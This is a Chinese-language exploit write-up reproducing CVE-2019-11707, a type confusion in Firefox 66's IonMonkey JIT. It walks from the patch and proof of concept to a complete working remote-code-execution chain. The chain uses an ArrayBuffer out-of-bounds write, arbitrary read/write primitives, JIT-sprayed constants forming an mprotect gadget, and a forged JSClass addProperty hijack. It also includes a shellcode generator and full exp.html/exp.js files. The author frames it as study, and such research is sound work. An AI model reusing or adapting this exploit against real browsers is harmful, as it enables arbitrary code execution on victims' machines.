这篇文章主要复现了一下CVE-2019-11707
这个洞,大部分都是参考vigneshsrao 的分析文章, 这个漏洞是 Ionmonkey
jit 实现上的漏洞,最终可以导致类型混淆。
环境配置
调试用的firefox 66.0.3
, 源码在这里 下载,复现环境在 ubuntu 1604 下
我没有办法在ubuntu1604 下编译这个版本的firefox, 但是单独编译 jsshell
是可以的, 可以先编个 jsshell
来测试然后在跑完整的firefox. firefox 在about:confg
里设置
// 单线程, 便于调试
browser.tabs.remote.autostart = false
// 去掉 sandbox
security.sandbox.content.level = 0
文章涉及的代码都放在了这里
漏洞分析
这个漏洞是saelo
在19年fuzz出来的,是 Ionmonkey
层的漏洞,最终打上的部分patch如下
--- a/js/src/jit/MCallOptimize.cpp
+++ b/js/src/jit/MCallOptimize.cpp
@@ -922,19 +922,20 @@ IonBuilder::InliningResult IonBuilder::i
if (clasp != &ArrayObject::class_) {
return InliningStatus_NotInlined;
}
if (thisTypes->hasObjectFlags(constraints(), unhandledFlags)) {
trackOptimizationOutcome(TrackedOutcome::ArrayBadFlags);
return InliningStatus_NotInlined;
}
+ // Watch out for extra indexed properties on the object or its prototype.
bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty,
- ArrayPrototypeHasIndexedProperty(this, script()));
+ ElementAccessHasExtraIndexedProperty(this, obj));
if (hasIndexedProperty) {
trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
return InliningStatus_NotInlined;
}
//...
patch 只是把原来hashIndexedProperty
的ArrayPrototypeHasIndexedProperty
检查换成了ElementAccessHasExtraIndexedProperty
当创建一个 array 时, 像下面这样,a
的prototype 是Array Object
js> a=[1.1,2.2]
[1.1, 2.2]
js> dumpObject(a)
object a704d898080
global a704d88b060 [global]
class 555557f214f0 Array
group a704d888820
flags:
proto <Array object at a704d8ae040>
properties:
"length" (shape a704d8b1078 permanent getterOp 5555557ec410 setterOp 5555557ec470)
elements:
0: 1.1
1: 2.2
继续看a.__proto__
以及 a.__proto__.__proto__
js> dumpObject(a.__proto__)
object a704d8ae040
global a704d88b060 [global]
class 555557f214f0 Array
lazy group
flags: delegate new_type_unknown
proto <Object at a704d88e040>
properties:
"length" (shape a704d899fc8 permanent getterOp 5555557ec410 setterOp 5555557ec470)
//..........................................
js> dumpObject(a.__proto__.__proto__)
object a704d88e040
global a704d88b060 [global]
class 555557f23898 Object
group a704d888250
flags: delegate new_type_unknown immutable_prototype inDictionaryMode hasShapeTable
proto null
properties:
"toSource": <function toSource at a704d88f340> (shape a704d892128 slot 0)
"toString": <function toString at a704d88f380> (shape a704d892100 slot 1)
a
的prototype chains
如下
a.__proto__ --> Array.prototype --> Object.prototype --> null
ArrayPrototypeHasIndexedProperty
会检查Array.prototype
是否有index类型的properties
, 例如a.__proto__.m = [1.1,2.2,3.3]
这个检查发生在IonBuilder::inlineArrayPopShift
,IonBuilder::inlineArrayPushShift
以及IonBuilder::inlineArraySlice
函数中,他们会在jit中进入inline cache
时调用.
AbortReasonOr<bool> jit::ArrayPrototypeHasIndexedProperty(IonBuilder* builder,
JSScript* script) {
if (JSObject* proto = script->global().maybeGetArrayPrototype()) {
return PrototypeHasIndexedProperty(builder, proto);
}
return true;
}
这里的漏洞在于检查的不充分,执行b=[1.1,2.2]; a.__proto__=b
, 原型链就会变成
a.__proto__ --> b.__proto__ --> Array.prototype --> Object.prototype --> null
因为只检查了Array.prototype
,所以并不会检查b
上是否有indexed
类型的properties
漏洞利用
poc 分析
saelo
给出了漏洞的poc 如下
// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}
const v11 = v4.pop();
// v11 被认为是一个 object
v11.a;
// 执行之后会进入 jit
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;// 0x4141414141414141
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
v7()
执行后会进入到jit
,这里还需要知道一个知识点, 对于稀疏类型的array, 如有a=[]; a[3] =1
这样a[0], a[1],a[2]
都是undefined
的,它就会顺着原型链一层一层的找有没有indexed
类型的对象, 像下面这样
js> a=[]
[]
js> a[3]=1
1
js> a
[, , , 1]
js> a.__proto__=[4,5]
[4, 5]
js> a
[4, 5, , 1]
js> a.pop()
1
js> a.pop()
js> a.pop()
5
js> a.pop()
4
执行pop
之后Array.pop
进入inline cache
, 根据前面的分析,这里不会检查v4.__proto__
, 检查通过, jit
层会认为v4.pop()
固定是一个object
, 会去掉其类型检查。
于是在v7
里, 当v4
5个对象都pop完之后,v4[3] = {a: 5};
,v4
变成稀疏类型的array, 这时候p[0]
会转入index ==0
的地方, 当pop到p[0] = -1.8629373288622089e-06
时有v11 == -1.8629373288622089e-06
,但是jit
仍认为它是一个object
,访问v11.a
就会有非法内存访问而crash
js> a=[]
[]
js> a[3]=1
1
js> a
[, , , 1]
js> p={}
({})
js> p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
[{a:0}, {a:1}, {a:2}]
js> p[0] = -1.8629373288622089e-06;
-0.0000018629373288622089
js> p
[-0.0000018629373288622089, {a:1}, {a:2}]
js> a.__proto__=p
[-0.0000018629373288622089, {a:1}, {a:2}]
js> a
[-0.0000018629373288622089, {a:1}, {a:2}, 1]
poc 运行之后效果如下
pwndbg> set args --no-threads poc.js
pwndbg> r
RAX 0x4141414141414141 ('AAAAAAAA')
//..
RSI 0x7fffffff9d48 —▸ 0x7fffffff9d80 ◂— 0xbebf414141414141
R8 0x1
R9 0x7fffffff9aa8 ◂— 0x0
//...
RIP 0x3ac4ec7485d0 ◂— cmp qword ptr [rax], r11
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
► 0x3ac4ec7485d0 cmp qword ptr [rax], r11
0x3ac4ec7485d3 jne 0x3ac4ec7485e2
漏洞利用
根据前面的分析,我们可以往p[0]
存入其他类型的对象,然后在v7
的内存访问中就可能出现类型混淆。
vigneshsrao
用了Uint8Array
和Uint32Array
这两个对象来构造类型混淆, 基本上按照saelo 的poc来。
buf=[];
for(let i=0;i<0x10;i++)
buf.push(new ArrayBuffer(0x60));
var abuf = buf[5];
var e=new Uint32Array(abuf);
e[0]=0x61626364;
e[1]=0x31323334;
const arr = [e,e,e,e,e];
function vuln(a1){
if(arr.length==0){
arr[3] = e;
}
const v11 = arr.pop();
// 修改 下一个 ArrayBuffer 的 size 字段
v11[a1] = 0x100;
for(let i =0;i<100000;i++){}
}
p = [new Uint8Array(abuf),e,e];
arr.__proto__=p;
for(let i=0;i<2000;i++){
vuln(34);
}
for(let i=0;i<buf.length;i++)
print(i+' '+ buf[i].byteLength);
ArrayBuffer
的data slots 的最大inline 大小是 0x60, vuln
函数里修改v11[34] = 0x100;
当v11 == e
,e[34]
超过执行不会成功,当v11 == Uint8Array(abuf)
时,jit 仍认为v11
是Uint32Array
类型,jit 中去掉了type array 的类型检查,只检查了传入的index
是否越界,此时Uint8Array(abuf)
的size是0x60
, 于是可以成功写入内存,但是实际写的地址是addr + 34 * 4
, 像下面这样,我们可以越界写修改buf[7]
的byteLength
字段
pwndbg> search -t qword 0x3132333461626364
0x20c9e49383c0 'dcba4321'
pwndbg> x/40gx 0x20c9e49383c0-0x40
// .. buf[6]
0x20c9e4938380: 0x00002746d7073a30 0x000020c9e4927330
0x20c9e4938390: 0x0000000000000000 0x00007fffeb5170c0
0x20c9e49383a0: 0x00001064f249c1e0 0xfff8800000000060
0x20c9e49383b0: 0xfffe169ac6f5b080 0xfff8800000000000
0x20c9e49383c0: 0x3132333461626364 0x0000000000000000
0x20c9e49383d0: 0x0000000000000000 0x0000000000000000
// ... buf[7]
0x20c9e4938420: 0x00002746d7073a30 0x000020c9e4927330
0x20c9e4938430: 0x0000000000000000 0x00007fffeb5170c0
0x20c9e4938440: 0x00001064f249c230 0xfff8800000000100// buf[7].byteLength
0x20c9e4938450: 0xfffa000000000000 0xfff8800000000000
0x20c9e4938460: 0x0000000000000000 0x0000000000000000
//..................
Please wait...
[+]: 0 96
[+]: 1 96
[+]: 2 96
[+]: 3 96
[+]: 4 96
[+]: 5 96
[+]: 6 256
[+]: 7 96
[+]: 8 96
[+]: 9 96
[+]: 10 96
[+]: 11 96
[+]: 12 96
[+]: 13 96
[+]: 14 96
[+]: 15 96
到了这里,我们已经有了越界读写的能力了,后续的漏洞利用都比较通用化,基本的流程如下
- 1 构造 任意地址读写
- 2 往
jit
写入shellcode - 3 伪造
JSClass
,修改addProperty
字段劫持控制流
构造任意地址读写
有了数组越界,构造任意地址读写就不难了, 首先泄露出0x00001064f249c230
这个地址,0x00001064f249c230<<1 -0x40
可以得到buf[7]
的起始地址,后续改写这个地址就可以任意地址读写了
// buf[7]
// //group shape
0x20c9e4938420: 0x00002746d7073a30 0x000020c9e4927330
//slots
0x20c9e4938430: 0x0000000000000000 0x00007fffeb5170c0
//0x20c9e4938460>>1
0x20c9e4938440: 0x00001064f249c230 0xfff8800000000100// buf[7].byteLength
0x20c9e4938450: 0xfffa000000000000 0xfff8800000000000
0x20c9e4938460: 0x0000000000000000 0x0000000000000000
这里还需要构造一个addrof
, 当执行buf[7].leak = {}
的时候,它会放在前面slots
处,把data buffer
改成0x00007fffcfcfb600>>1
然后读buf[7]
就可以泄露出 对象的地址了
pwndbg> x/20gx 0x112c38f204c0
0x112c38f204c0: 0x0000160cb7b59a30 0x0000112c38f22380
//slots
0x112c38f204d0: 0x00007fffcfcfb600 0x00007fffeb5170c0
//data buffer
0x112c38f204e0: 0x000008961c790280 0xfff8800000000060
0x112c38f204f0: 0xfffe38a368b3d180 0xfff8800000000000
0x112c38f20500: 0x0000000000000000 0x0000000000000000
0x112c38f20510: 0x0000000000000000 0x0000000000000000
//.....
pwndbg> x/10gx 0x00007fffcfcfb600
0x7fffcfcfb600: 0xfffe112c38f2f300 0x0000000000000000
0x7fffcfcfb610: 0x0000000000000000 0x0000000000000000
0x7fffcfcfb620: 0x0000000000000000 0x0000000000000000
0x7fffcfcfb630: 0x0000000000000000 0x0000000000000000
具体实现代码如下, spidermonkey
的对象都会加上一个 tag
,读的时候把它去掉就行
function readptr(addr){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
ptrleak = new Uint32Array(buf[7]);
leak = ptrleak[0] + (ptrleak[1]&0x7fff)*0x100000000;
return leak;
}
function addrof(obj){
buf[7].leak = obj;
return readptr(buf7_slots_addr);
}
function write64(addr,data){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
towrite = new Float64Array(buf[7]);
towrite[0] = i2f(data);
}
jit 写入 shellcode
因为jit
中的代码有可执行权限,如果可以往jit
中写入shellcode, 那么劫持控制流之后直接跳到jit
执行就完事了,但是spidermonkey
的jit
是r_x
权限的,不可直接写入,但是我们可以像下面这样把数据传入到r_x
段
print(d2f(0x41424344,0x61626364));
print(d2f(0x13371337,0x13371337));
//2393736.760815071
//4.183559446463817e-216
function tmp(){
const a=2393736.760815071;
const b=4.183559446463817e-216;
}
for(let i=0;i<100000;i++)tmp();
//.....
pwndbg> search -t qword 0x4142434461626364
0x15b165d2926e movsxd rsp, dword ptr fs:[rdx + 0x61]
pwndbg> x/20gx 0x15b165d2926e
0x15b165d2926e: 0x4142434461626364 0x1337bb49c85d894c
0x15b165d2927e: 0x894c133713371337 0x00000000b948c05d
pwndbg> x/20gx 0x15b165d2926e+6+8
0x15b165d2927c: 0x1337133713371337 0x0000b948c05d894c
0x15b165d2928c: 0x45f7fff980000000 0x04840f00000001fc
可以看到0x4142434461626364
和0x1337133713371337
都被存入到了jit
上,但是他们内存是不连续的,原本的jit代码如下
pwndbg> x/10i 0x15b165d2926e-6
0x15b165d29268: mov QWORD PTR [rbp-0x40],r11
0x15b165d2926c: movabs r11,0x4142434461626364
0x15b165d29276: mov QWORD PTR [rbp-0x38],r11
0x15b165d2927a: movabs r11,0x1337133713371337
0x15b165d29284: mov QWORD PTR [rbp-0x40],r11
0x15b165d29288: movabs rcx,0xfff9800000000000
0x15b165d29292: test DWORD PTR [rbp-0x4],0x1
但是没有关系,因为可以利用const
一次往jit
写入8
个byte,const
之间内存地址是连续的,可以写入多个gadget,构造gadget1 => jmp gadget2 => jmp gadget3
这样
最终写入的shellcode 如下
func = function func() {
// 0x1337133713371337
const magic = 4.183559446463817e-216;
//0x67490c038098b48 mov rcx,QWORD PTR [rcx] ;cmp al,al; nop
const g1 = 1.4501798452584495e-277
//0x6749000100068 push 0x1000; nop
const g2 = 1.4499730218924257e-277
//0x674c038ff31485e pop rsi ;xor rdi,rdi;cmp al,al
const g3 = 1.4632559875735264e-277
//0x6745f00fff68 push 0xfff;pop rdi;
const g4 = 1.4364759325952765e-277
//0x674909090d7f748 not rdi;nop;nop;nop
const g5 = 1.450128571490163e-277
//0x67490c038cf2148 and rdi,rcx;cmp al,al;nop
const g6 = 1.4501798485024445e-277
//0x674580a6a5a076a push 0x7;pop rdx;push 0xa; pop rax;
const g7 = 1.4345589835166586e-277
//0x0c3050f51 push rcx; syscall; ret
const g8 = 1.616527814e-314
}
每个const
最后两个byte 都写入0x74 0x06
, 对应je pc+8
,shellcode 达到的效果相当于是调用
mprotect(rcx,0x1000,0x7);
jmp rcx
即把rcx
对应的内存变成rwx
权限
伪造 JSClasss
接着我们看看如何劫持控制流, 在执行a.a=xxx
添加properties
时,如果addProperty
字段不为null
, 则会调用执行addProperty
对应的函数,假如我们修改了addProperty
到jit
的地址,就可以执行我们的shellcode, 还有一点就是执行a.x = new Object()
的时候rcx
上会保存new Object
的地址,也就是说结合jit
中的 mprotect
,我们可以做到把任意地址改为rwx
权限
但是实际上,classp_
是const 类型,保存在r--
段上,是不可写的, 但是没有关系,spidermonkey
并没有很严格的堆隔离机制,我们可以伪造整个ObjectGroup
, 然后把 addProperty
字段改成jit
的地址即可
pwndbg> x/20gx 0x112c38f204c0
// group
0x112c38f204c0: 0x0000160cb7b59a30 0x0000112c38f22380
0x112c38f204d0: 0x00007fffcfcfb600 0x00007fffeb5170c0
0x112c38f204e0: 0x000008961c790280 0xfff8800000000060
pwndbg> vmmap 0x0000160cb7b59a30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x160cb7b00000 0x160cb7c00000 rw-p 100000 0
//...
pwndbg> x/10gx 0x0000160cb7b59a30
//classp_
0x160cb7b59a30: 0x00007fffed1f2240 0x00003b6e9bcba240
0x160cb7b59a40: 0x00007fffd3de6800 0x0000000040000018
pwndbg> vmmap 0x00007fffed1f2240
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7fffece8c000 0x7fffed235000 r--p 3a9000 6f7e000 /home/prb/firefox/libxul.so
//...
pwndbg> x/20gx 0x00007fffed1f2240
//name //flags
0x7fffed1f2240: 0x00007fffeb12daff 0x000000005d000402
//cOps
0x7fffed1f2250: 0x00007fffed1f24c0 0x00007fffed1f26b0
0x7fffed1f2260: 0x00007fffed1f2238 0x0000000000000000
0x7fffed1f2270: 0x00007fffeb52bbcd 0x000000005c000000
//..
pwndbg> x/20gx 0x00007fffed1f24c0
//addProperty
0x7fffed1f24c0: 0x0000000000000000 0x0000000000000000
0x7fffed1f24d0: 0x0000000000000000 0x0000000000000000
0x7fffed1f24e0: 0x0000000000000000 0x0000000000000000
0x7fffed1f24f0: 0x00007fffea567390 0x0000000000000000
0x7fffed1f2500: 0x0000000000000000 0x0000000000000000
0x7fffed1f2510: 0x00007fffea5673f0 0x0000000000000000
实现部分代码如下, 参考前面的内存布局
//group_addr == 0x0000160cb7b59a30
// group_jsclass == 0x00007fffed1f2240
group_jsclass = readptr(group_addr);
print("group_jsclass "+hex(group_jsclass));
fake_jsclass_array = new ArrayBuffer(0x30);
fake_cops_array = new ArrayBuffer(0x60);
shellcode = new Uint8Array(0x1000);
fake_jsclass_addr = addrof(fake_jsclass_array)+0x40;
fake_cops_addr = addrof(fake_cops_array) + 0x40;
fake_jsclass = new Float64Array(fake_jsclass_array);
fake_cops = new Float64Array(fake_cops_array);
// 完整拷贝一份 classp_ 的内容
fake_jsclass[0]=i2f(readptr(group_jsclass+0x0));//name
fake_jsclass[1]=i2f(readptr(group_jsclass+0x8));//flags
fake_jsclass[2]=i2f(readptr(group_jsclass+0x10));//cOps
fake_jsclass[3]=i2f(readptr(group_jsclass+0x18));//spec
fake_jsclass[4]=i2f(readptr(group_jsclass+0x20));//ext
fake_jsclass[5]=i2f(readptr(group_jsclass+0x28));//oOps
print("fake jsclass: "+hex(fake_jsclass_addr));
print(fake_jsclass);
cops_addr = f2i(fake_jsclass[2]);
// 完整拷贝一份 ClassOps 的内容
for(let i =0;i<12;i++){
fake_cops[i] = i2f(readptr(cops_addr+0x8*i));
}
print("fake cops: "+hex(fake_cops_addr));
print(fake_cops);
// cOps --> fake_cops
fake_jsclass[2] = i2f(fake_cops_addr);
// cOps -> addProperty --> jit_addr
fake_cops[0] = i2f(jit_addr);
shellcode_obj_addr = addrof(shellcode) ;
shellcode_addr = readptr(shellcode_obj_addr+0x38) ;
print(hex(shellcode_obj_addr));
print(hex(shellcode_addr));
// group_addr --> fake_jsclass
write64(group_addr,fake_jsclass_addr);
任意代码执行
前面的 JSClass
伪造完成之后,只要执行buf[7].jjj=i2f(shellcode_addr)
, 就会跳转去执行jit
上的shellcode, rcx == shellcode_addr
, shellcode_addr
对应的内存变成rwx
, 往这块内存写入shellcode就可以任意代码执行啦。我们希望可以弹出一个计算器出来, 这里我写了一个生成 shellcode 的脚本
from pwn import *
context.arch='amd64'
cmd='/usr/bin/xcalc'
env='DISPLAY=:0'
#cmd='/bin/bash'
#env='x00'
cmd_off = 0x50
env_off = cmd_off + len(cmd) + 0x20
shellcode='''
lea rdi, [rip + %d]
xor rsi, rsi
push rsi
push rdi
push rsp
pop rsi
xor rdx,rdx
push rdx
lea rdx,[rip+ %d ]
push rdx
push rsp
pop rdx
mov al,0x3b
syscall
''' % (cmd_off-0x7, env_off-25)
shellcode=asm(shellcode).ljust(cmd_off,'x90')
shellcode+=cmd
shellcode=shellcode.ljust(env_off,'x00')
shellcode+=env
shellcode+='x00'
print(len(shellcode))
print(shellcode)
jsdata='sc = '+str([ord(i) for i in shellcode])+'n'
print(jsdata)
with open('shellcode.js','w') as f:
f.write(jsdata)
f.close()
执行之后生成一个shellcode.js
保存一个sc
数组,把这个数组拷贝到要转换成rwx
的内存即可
root@prbv:/var/www/html# python shellcode.py
137
Hx8d=Ix00x001�VWT^H1Hx8dx15x00x00TZxb0;x0fx90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90/usr/bin/xcalcx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00DISPLAY=:0x00
sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 101, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]
exp
完整exp如下
exp.html
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
<script src="shellcode.js"></script>
<script src="exp.js"></script>
</head>
<body onload="pwn()">
<p>Please wait...</p>
</body>
</html>
exp.js
var conversion_buffer = new ArrayBuffer(8);
var f64 = new Float64Array(conversion_buffer);
var i32 = new Uint32Array(conversion_buffer);
var BASE32 = 0x100000000;
function f2i(f) {
f64[0] = f;
return i32[0] + BASE32 * i32[1];
}
function i2f(i) {
i32[0] = i % BASE32;
i32[1] = i / BASE32;
return f64[0];
}
function hex(addr){
return '0x'+addr.toString(16);
}
function print(msg) {
console.log(msg);
// document.body.innerText += 'n[+]: '+msg ;
document.body.innerHTML += '<br>[+]: '+msg ;
}
function some(buf,addr){
buf.jjj=i2f(addr);
}
function pwn(){
buf=[];
for(let i=0;i<0x10;i++)
buf.push(new ArrayBuffer(0x60));
var abuf = buf[5];
var e=new Uint32Array(abuf);
e[0]=0x61626364;
e[1]=0x31323334;
const arr = [e,e,e,e,e];
function vuln(a1){
if(arr.length==0){
arr[3] = e;
}
const v11 = arr.pop();
v11[a1] = 0x100;
for(let i =0;i<100000;i++){}
}
p = [new Uint8Array(abuf),e,e];
arr.__proto__=p;
for(let i=0;i<2000;i++){
vuln(34);
}
for(let i=0;i<buf.length;i++)
print(i+' '+ buf[i].byteLength);
var oob = new Uint32Array(buf[6]);
var oob64 = new Float64Array(buf[6]);
var victim = new Uint32Array(buf[7]);
var victim64 = new Float64Array(buf[7]);
func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
buf[7].leak = func;
for (i=0;i<100000;i++) func();
buf7_addr = f2i(oob64[16])*2 - 0x40 ;
buf7_group_addr = f2i(oob64[12]);
buf7_slots_addr = f2i(oob64[14]);
print("buf7_addr "+hex(buf7_addr));
print("buf7_group_addr "+hex(buf7_group_addr));
print("buf7_slots_addr "+hex(buf7_slots_addr));
function readptr(addr){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
ptrleak = new Uint32Array(buf[7]);
leak = ptrleak[0] + (ptrleak[1]&0x7fff)*0x100000000;
return leak;
}
function addrof(obj){
buf[7].leak = obj;
return readptr(buf7_slots_addr);
}
function write64(addr,data){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
towrite = new Float64Array(buf[7]);
towrite[0] = i2f(data);
}
function get_jit_addr(slots_addr){
// func_addr = readptr(slots_addr);
func_addr = addrof(func);
print("func_addr "+hex(func_addr));
func_some = readptr(func_addr+0x30);
print("func_some "+hex(func_some));
jit_addr = readptr(func_some);
print("jit_addr "+hex(jit_addr));
jit_addr = jit_addr - 0xff0;
for(let i=0;i<3;i++){
offset=-1;
oob64[16] = i2f(jit_addr/2);
oob[34] = 0xff0+0x100;
tmp = new Uint8Array(buf[7]);
for(let j=0;j<0xff0;j++){
if(tmp[j+0]==0x37 &&
tmp[j+1]==0x13 &&
tmp[j+2]==0x37 &&
tmp[j+3]==0x13 &&
tmp[j+4]==0x37 &&
tmp[j+5]==0x13 &&
tmp[j+6]==0x37 &&
tmp[j+7]==0x13){
offset=j;
break;
}
}
if(offset!=-1)break;
jit_addr+=0xff0;
}
print(hex(offset));
return jit_addr+offset+8+6;
}
jit_addr = get_jit_addr(buf7_slots_addr);
print("jit_addr "+hex(jit_addr));
function gen_fake_jsclass(group_addr){
group_jsclass = readptr(group_addr);
print("group_jsclass "+hex(group_jsclass));
fake_jsclass_array = new ArrayBuffer(0x30);
fake_cops_array = new ArrayBuffer(0x60);
shellcode = new Uint8Array(0x1000);
fake_jsclass_addr = addrof(fake_jsclass_array)+0x40;
fake_cops_addr = addrof(fake_cops_array) + 0x40;
fake_jsclass = new Float64Array(fake_jsclass_array);
fake_cops = new Float64Array(fake_cops_array);
fake_jsclass[0]=i2f(readptr(group_jsclass+0x0));//name
fake_jsclass[1]=i2f(readptr(group_jsclass+0x8));//flags
fake_jsclass[2]=i2f(readptr(group_jsclass+0x10));//cOps
fake_jsclass[3]=i2f(readptr(group_jsclass+0x18));//spec
fake_jsclass[4]=i2f(readptr(group_jsclass+0x20));//ext
fake_jsclass[5]=i2f(readptr(group_jsclass+0x28));//oOps
print("fake jsclass: "+hex(fake_jsclass_addr));
print(fake_jsclass);
cops_addr = f2i(fake_jsclass[2]);
//cops copy
for(let i =0;i<12;i++){
fake_cops[i] = i2f(readptr(cops_addr+0x8*i));
}
print("fake cops: "+hex(fake_cops_addr));
print(fake_cops);
fake_jsclass[2] = i2f(fake_cops_addr);
fake_cops[0] = i2f(jit_addr);
shellcode_obj_addr = addrof(shellcode) ;
shellcode_addr = readptr(shellcode_obj_addr+0x38) ;
print(hex(shellcode_obj_addr));
print(hex(shellcode_addr));
for(let i=0;i<sc.length;i++){
shellcode[i] = sc[i];
}
write64(group_addr,fake_jsclass_addr);
document.body.innerHTML += '<br><input type="button" onclick="some(buf[7],shellcode_addr)" value="pwn">' ;
}
gen_fake_jsclass(buf7_group_addr);
}
利用效果
运行效果如下
小结
这里主要跟着vigneshsrao 的文章调了一下CVE-2019-11707
,学习了一下firefox
的漏洞利用链, 整体的漏洞利用链脑子里也比较清晰了,当然这还是没有sandbox 的情况, 后续要找一个 sandbox 逃逸的来调一波。
reference
https://bugs.chromium.org/p/project-zero/issues/detail?id=1820